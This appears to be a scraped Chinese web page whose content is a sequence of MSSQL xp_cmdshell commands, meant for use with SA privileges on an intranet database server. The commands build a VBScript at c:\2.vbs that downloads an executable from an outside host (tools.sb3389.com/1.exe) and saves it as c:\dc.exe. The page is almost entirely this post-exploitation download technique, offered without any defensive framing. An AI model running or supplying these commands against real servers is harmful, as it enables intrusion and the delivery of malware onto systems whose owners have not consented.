千家信息网

SA权限内网机存储MSSQL时候

发表于:2024-11-11 作者:千家信息网编辑
千家信息网最后更新 2024年11月11日,EXEC master..xp_cmdshell 'echo Set xPost = createObject("Microsoft.XMLHTTP") >c:\2.vbs'EXEC master..
千家信息网最后更新 2024年11月11日SA权限内网机存储MSSQL时候

EXEC master..xp_cmdshell 'echo Set xPost = createObject("Microsoft.XMLHTTP") >c:\2.vbs'
EXEC master..xp_cmdshell 'echo xPost.Open "GET"," http://tools.sb3389.com/1.exe",0 >>c:\2.vbs'
EXEC master..xp_cmdshell 'echo xPost.Send() >>c:\2.vbs'
EXEC master..xp_cmdshell 'echo Set sGet = createObject("ADODB.Stream") >>c:\2.vbs'
EXEC master..xp_cmdshell 'echo sGet.Mode = 3 >>c:\2.vbs'
EXEC master..xp_cmdshell 'echo sGet.Type = 1 >>c:\2.vbs'
EXEC master..xp_cmdshell 'echo sGet.Open() >>c:\2.vbs'
EXEC master..xp_cmdshell 'echo sGet.Write(xPost.responseBody) >>c:\2.vbs'
EXEC master..xp_cmdshell 'echo sGet.SaveToFile "c:\dc.exe",2 >>c:\2.vbs'

0